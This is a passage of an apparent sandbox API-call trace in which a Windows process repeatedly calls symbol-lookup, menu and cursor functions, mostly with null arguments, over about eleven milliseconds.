returned 0x579 [0185.601] SetLastError (dwErrCode=0x579) [0185.601] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.601] SymCleanup (hProcess=0x0) returned 0 [0185.601] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.601] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.601] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.601] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.601] GetLastError () returned 0x579 [0185.601] SetLastError (dwErrCode=0x579) [0185.601] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.601] SymCleanup (hProcess=0x0) returned 0 [0185.601] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.601] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.601] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.601] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=274, param_4=450, param_5=0x0, param_6=0x0) returned 0 [0185.601] GetLastError () returned 0x579 [0185.601] SetLastError (dwErrCode=0x579) [0185.602] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.602] SymCleanup (hProcess=0x0) returned 0 [0185.602] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.602] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.602] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.602] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.602] GetLastError () returned 0x579 [0185.602] SetLastError (dwErrCode=0x579) [0185.602] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.602] SymCleanup (hProcess=0x0) returned 0 [0185.602] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.602] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.602] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.602] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.602] GetLastError () returned 0x579 [0185.602] SetLastError (dwErrCode=0x579) [0185.602] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.602] SymCleanup (hProcess=0x0) returned 0 [0185.602] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.602] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.602] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.602] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.602] GetLastError () returned 0x579 [0185.602] SetLastError (dwErrCode=0x579) [0185.602] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.603] SymCleanup (hProcess=0x0) returned 0 [0185.603] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.603] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.603] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.603] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.603] GetLastError () returned 0x579 [0185.603] SetLastError (dwErrCode=0x579) [0185.603] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.603] SymCleanup (hProcess=0x0) returned 0 [0185.603] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.603] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.603] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.603] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1037, param_4=126, param_5=0x0, param_6=0x0) returned 0 [0185.603] GetLastError () returned 0x579 [0185.603] SetLastError (dwErrCode=0x579) [0185.603] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.603] SymCleanup (hProcess=0x0) returned 0 [0185.603] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.603] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.603] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.603] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.603] GetLastError () returned 0x579 [0185.603] SetLastError (dwErrCode=0x579) [0185.603] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.603] SymCleanup (hProcess=0x0) returned 0 [0185.604] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.604] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.604] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.604] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.604] GetLastError () returned 0x579 [0185.604] SetLastError (dwErrCode=0x579) [0185.604] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.604] SymCleanup (hProcess=0x0) returned 0 [0185.604] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.604] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.604] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.604] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.604] GetLastError () returned 0x579 [0185.604] SetLastError (dwErrCode=0x579) [0185.604] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.604] SymCleanup (hProcess=0x0) returned 0 [0185.604] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.604] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.604] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.604] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.604] GetLastError () returned 0x579 [0185.604] SetLastError (dwErrCode=0x579) [0185.604] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.604] SymCleanup (hProcess=0x0) returned 0 [0185.604] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.605] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.605] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.605] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=859, param_4=404, param_5=0x0, param_6=0x0) returned 0 [0185.605] GetLastError () returned 0x579 [0185.605] SetLastError (dwErrCode=0x579) [0185.605] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.605] SymCleanup (hProcess=0x0) returned 0 [0185.605] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.605] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.605] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.605] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.605] GetLastError () returned 0x579 [0185.605] SetLastError (dwErrCode=0x579) [0185.605] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.605] SymCleanup (hProcess=0x0) returned 0 [0185.605] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.605] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.605] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.605] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.605] GetLastError () returned 0x579 [0185.605] SetLastError (dwErrCode=0x579) [0185.605] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.605] SymCleanup (hProcess=0x0) returned 0 [0185.605] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.605] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.606] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.606] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.606] GetLastError () returned 0x579 [0185.606] SetLastError (dwErrCode=0x579) [0185.606] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.606] SymCleanup (hProcess=0x0) returned 0 [0185.606] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.606] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.606] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.606] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.606] GetLastError () returned 0x579 [0185.606] SetLastError (dwErrCode=0x579) [0185.606] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.606] SymCleanup (hProcess=0x0) returned 0 [0185.606] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.606] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.606] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.606] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=697, param_4=493, param_5=0x0, param_6=0x0) returned 0 [0185.606] GetLastError () returned 0x579 [0185.606] SetLastError (dwErrCode=0x579) [0185.606] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.606] SymCleanup (hProcess=0x0) returned 0 [0185.606] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.606] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.606] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.607] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.607] GetLastError () returned 0x579 [0185.607] SetLastError (dwErrCode=0x579) [0185.607] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.607] SymCleanup (hProcess=0x0) returned 0 [0185.607] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.607] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.607] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.607] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.607] GetLastError () returned 0x579 [0185.607] SetLastError (dwErrCode=0x579) [0185.607] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.607] SymCleanup (hProcess=0x0) returned 0 [0185.607] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.607] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.607] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.607] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.607] GetLastError () returned 0x579 [0185.607] SetLastError (dwErrCode=0x579) [0185.607] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.607] SymCleanup (hProcess=0x0) returned 0 [0185.607] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.607] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.607] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.608] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.608] GetLastError () returned 0x579 [0185.608] SetLastError (dwErrCode=0x579) [0185.608] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.608] SymCleanup (hProcess=0x0) returned 0 [0185.608] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.608] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.608] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.608] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1247, param_4=392, param_5=0x0, param_6=0x0) returned 0 [0185.608] GetLastError () returned 0x579 [0185.608] SetLastError (dwErrCode=0x579) [0185.608] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.608] SymCleanup (hProcess=0x0) returned 0 [0185.608] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.608] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.608] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.608] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.608] GetLastError () returned 0x579 [0185.608] SetLastError (dwErrCode=0x579) [0185.608] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.608] SymCleanup (hProcess=0x0) returned 0 [0185.608] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.608] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.608] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.609] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.609] GetLastError () returned 0x579 [0185.609] SetLastError (dwErrCode=0x579) [0185.609] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.609] SymCleanup (hProcess=0x0) returned 0 [0185.609] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.609] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.609] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.609] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.609] GetLastError () returned 0x579 [0185.609] SetLastError (dwErrCode=0x579) [0185.609] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.609] SymCleanup (hProcess=0x0) returned 0 [0185.609] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.609] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.609] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.609] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.609] GetLastError () returned 0x579 [0185.609] SetLastError (dwErrCode=0x579) [0185.609] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.609] SymCleanup (hProcess=0x0) returned 0 [0185.609] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.609] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.609] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.610] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=125, param_4=365, param_5=0x0, param_6=0x0) returned 0 [0185.610] GetLastError () returned 0x579 [0185.610] SetLastError (dwErrCode=0x579) [0185.610] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.610] SymCleanup (hProcess=0x0) returned 0 [0185.610] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.610] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.610] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.610] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.610] GetLastError () returned 0x579 [0185.610] SetLastError (dwErrCode=0x579) [0185.610] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.610] SymCleanup (hProcess=0x0) returned 0 [0185.610] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.610] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.610] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.610] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.610] GetLastError () returned 0x579 [0185.610] SetLastError (dwErrCode=0x579) [0185.610] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.610] SymCleanup (hProcess=0x0) returned 0 [0185.610] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.610] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.610] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.610] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.611] GetLastError () returned 0x579 [0185.611] SetLastError (dwErrCode=0x579) [0185.611] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.611] SymCleanup (hProcess=0x0) returned 0 [0185.611] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.611] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.611] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.611] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.611] GetLastError () returned 0x579 [0185.611] SetLastError (dwErrCode=0x579) [0185.611] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.611] SymCleanup (hProcess=0x0) returned 0 [0185.611] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.611] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.611] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.611] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=76, param_4=274, param_5=0x0, param_6=0x0) returned 0 [0185.611] GetLastError () returned 0x579 [0185.611] SetLastError (dwErrCode=0x579) [0185.611] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.611] SymCleanup (hProcess=0x0) returned 0 [0185.611] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.611] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.611] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.611] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.612] GetLastError () returned 0x579 [0185.612] SetLastError (dwErrCode=0x579) [0185.612] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.612] SymCleanup (hProcess=0x0) returned 0 [0185.612] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.612] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.612] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.612] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.612] GetLastError () returned 0x579 [0185.612] SetLastError (dwErrCode=0x579) [0185.612] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.612] SymCleanup (hProcess=0x0) returned 0 [0185.612] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.612] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.612] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.612] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.612] GetLastError () returned 0x579 [0185.612] SetLastError (dwErrCode=0x579) [0185.612] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.612] SymCleanup (hProcess=0x0) 